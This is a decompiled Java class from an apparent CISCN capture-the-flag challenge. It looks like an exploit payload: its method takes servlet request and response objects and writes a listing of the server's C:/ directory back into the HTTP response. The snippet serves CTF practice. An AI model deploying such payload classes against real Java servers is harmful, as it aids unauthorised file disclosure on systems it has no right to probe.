写文件

    1. //
    2. // Source code recreated from a .class file by IntelliJ IDEA
    3. // (powered by FernFlower decompiler)
    4. //
    6. package ciscn.fina1.ezj4va;
    8. import java.io.BufferedReader;
    9. import java.io.File;
    10. import java.io.FileNotFoundException;
    11. import java.io.FileReader;
    12. import java.io.IOException;
    13. import java.io.Serializable;
    14. import javax.servlet.http.HttpServletRequest;
    15. import javax.servlet.http.HttpServletResponse;
    17. public class test implements Serializable {
    18.     public test() {
    19.     }
    21.     private static String readFileToString(String filepath) throws FileNotFoundException, IOException {
    22.         StringBuilder sb = new StringBuilder();
    23.         String s = "";
    24.         BufferedReader br = new BufferedReader(new FileReader(filepath));
    26.         while((s = br.readLine()) != null) {
    27.             sb.append(s + "\n");
    28.         }
    30.         br.close();
    31.         String str = sb.toString();
    32.         return str;
    33.     }
    35.     public void e(Object request, Object response) throws IOException, ClassNotFoundException {
    36.         HttpServletResponse res = (HttpServletResponse)response;
    37.         HttpServletRequest req = (HttpServletRequest)request;
    38.         res.getWriter().write("hahah123");
    39.         String[] filenames = (new File("C:/")).list();
    41.         for(int i = 0; i < filenames.length; ++i) {
    42.             res.getWriter().write(filenames[i] + "\n");
    43.         }
    45.     }
    47.     public static void main(String[] args) throws Exception {
    48.         readFileToString("C:\\Users\\Yang_99\\Desktop\\RCTFV\\ROOT\\exp.py");
    49.     }
    50. }